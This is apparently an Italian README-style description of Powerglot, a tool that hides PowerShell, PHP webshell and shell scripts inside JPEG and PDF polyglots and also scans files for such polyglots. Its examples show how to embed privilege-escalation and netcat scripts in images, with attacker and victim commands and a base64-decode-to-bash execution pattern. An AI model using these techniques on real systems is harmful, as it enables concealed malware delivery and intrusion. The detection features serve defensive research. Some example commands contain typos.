
Powerglot codifica script PowerShell offensivi utilizzando polyglots . Strumento di sicurezza offensivo utile per stego-malware, escalation dei privilegi, movimento laterale, reverse shell, ecc.
Powerglot codifica diversi tipi di script utilizzando poliglotti, ad esempio, script PowerShell offensivi. Non è necessario un loader per eseguire il payload.
Negli esercizi red-team o in compiti offensivi, l'occultamento dei payload viene solitamente effettuato utilizzando la steganografia, soprattutto per evitare le protezioni a livello di rete, essendo uno dei payload più comuni gli script sviluppati in PowerShell. Recenti malware e APT fanno uso di alcune di queste capacità: APT32, APT37, Ursnif, Powload, LightNeuron/Turla, Platinum APT, Waterbug/Turla, Lokibot, The dukes (operation Ghost), Titanium, ecc.
Powerglot è uno strumento di attacco e difesa multifunzionale e multi-piattaforma basato su poliglotti. Powerglot permette di mascherare uno script (PowerShell, shell scripting, PHP, ...) principalmente in un'immagine digitale, sebbene altri formati di file siano in fase di sviluppo. A differenza dei soliti strumenti offensivi o malware, Powerglot non necessita di alcun loader per eseguire le "informazioni nascoste", minimizzando il rumore sul sistema di destinazione.
PowerGlot ha una chiara utilità nei compiti offensivi ma è anche definito come strumento di scoperta e blue team. A nostra conoscenza, è il primo strumento open-source generale e completo che permette di cercare la presenza di informazioni mascherate con poliglotti, informazioni che potrebbero essere utili per ottenere persistenza in un sistema o per nascondere malware (stego-malware, escalation dei privilegi, movimento laterale, reverse shell, ecc.)
Funzionalità:
Codificare script PowerShell/shell script/PHP/.. in un'immagine poliglotta. Non è necessario un loader per recuperare/eseguire le informazioni nascoste (payload). PowerGlot funziona con diversi formati. Principalmente, formato JPEG e PDF. Altri formati sono in fase di sviluppo.
Powerglot è uno strumento open-source completo per rilevare poliglotti (maligni), specialmente il risultato di alcuni strumenti pubblici come Truepolyglot o stegoSploit. Lavoriamo con diversi formati: JPEG, PNG, GIF, BMP, ZIP, PDF, MP3, ecc.
# git clone https://github.com/mindcrypt/powerglot
# python3 powerglot
Alcuni esempi per nascondere payload utilizzando poliglotti con Powerglot
# Example 1 - Hiding a powershell/php/shell script in a JPEG image
# python3 powerglot.py -o payload.ps1 cat.jpg cat-hidden1.jpg
# python3 powerglot.py -o webshell.php cat.jpg cat-hidden2.jpg
# python3 powerglot.py -o shell.sh cat.jpg cat-hidden3.jpg
# Example 2 - Hiding a shell script (linenum.sh) for privilege escalation "hidden" in a JPEG image
# python3 powerglot.py -o linenum.sh cat.jpg cat-linenum.jpg
# file cat-linenum.jpg (It is a valid JPEG file)
# feh cat-lineum.jpg (The image is properly showed in an image viewer)
# We can execute the script in several ways:
a) cat cat-linenum | bash
b) chmod +x cat-linenum.jpeg; ./cat-linenum.jpeg
# Example 3 - Hiding a cover-channel wiht netcat in a JPEG image
# Attacker
# echo "nc 127.0.0.1 4444" > netcat.sh
# python3 powerglot.py -o netcat.sh cat.jpeg cat-netcat.jpeg
# nc -nvlp 4444
#Victim
# chmod +x cat-netcat.jpg | ./cat-netcat.jpg

# Example 4 - Polyglot in PDF (Ej-linenum.sh)
# Create b64.sh with your favourite payload
base64 Linenum.sh -w 0 > b64.sh
# Edit b64.sh
echo "code in b64.sh" | base64 -d | bash;
# python3 powerglot -o b64.sh sample.pdf test.pdf
# file test.pdf
# xpdf test.pdf
# Execute payload
# cat test.pdf | bash or chmod +x test.pdf; ./test.pdf
# Example 5 - Powershell in JPEG (polyglot)
# python3 powerglot.py -o script.ps1 cat.jpeg cat-ps.jpeg
# file cat-ps.jpeg
# feh cat-ps.jpeg
# Execute payload (example)
# cat cat-ps.jpeg | pwsh
PS /home/alfonso/PowerGlot/POWERSHELL> get-process;<#hola <# mundo#>
NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName
------ ----- ----- ------ -- -- -----------
0 0,00 2,70 0,00 830 829 (sd-pam)
0 0,00 0,00 0,00 75 0 acpi_thermal_pm
0 0,00 4,80 0,00 1217 854 agent
0 0,00 1,70 0,00 748 748 agetty
0 0,00 40,77 1,01 1198 854 applet.py
0 0,00 6,29 0,00 938 938 at-spi-bus-launcher
0 0,00 6,61 5,64 953 938 at-spi2-registryd
0 0,00 0,00 0,00 131 0 ata_sff
0 0,00 1,77 0,00 8906 …78 atom
0 0,00 218,81 585,95 8908 …78 atom
0 0,00 236,18 176,24 8947 …78 atom
0 0,00 142,14 2,51 9009 …78 atom
0 0,00 81,54 3,32 8932 …78 atom --type=gpu-process --enable-features=SharedArrayBuffer -…
0 0,00 39,44 0,01 8910 …78 atom --type=zygote --no-sandbox
0 0,00 5,62 0,11 1370 …70 bash
0 0,00 5,36 0,66 5278 …78 bash
0 0,00 6,34 1,48 6778 …78 bash
0 0,00 0,00 0,00 68 0 blkcg_punt_bio
0 0,00 46,73 2,20 1199 854 blueman-applet
0 0,00 50,25 1,64 1301 854 blueman-tray
Alcuni esempi per rilevare poliglotti nel nostro filesystem
#python3 powerglot.py -d ./
--= [Detecting polyglots] --=
..............................................................
[Suspicious file]-[ ./cat-end-extra2.jpg ]..
[Suspicious file]-[ ./cat-end-extra3.jpg ][Polyglot Stegosploit][EOF Signature: */ -->]
.................................................................................
[Suspicious file]-[ ./cat-end-extra1.jpg ]..
Questo progetto è stato sviluppato dal Dr. Alfonso Muñoz e Abraham Pasamar. Il codice è rilasciato sotto la GNU General Public License v3.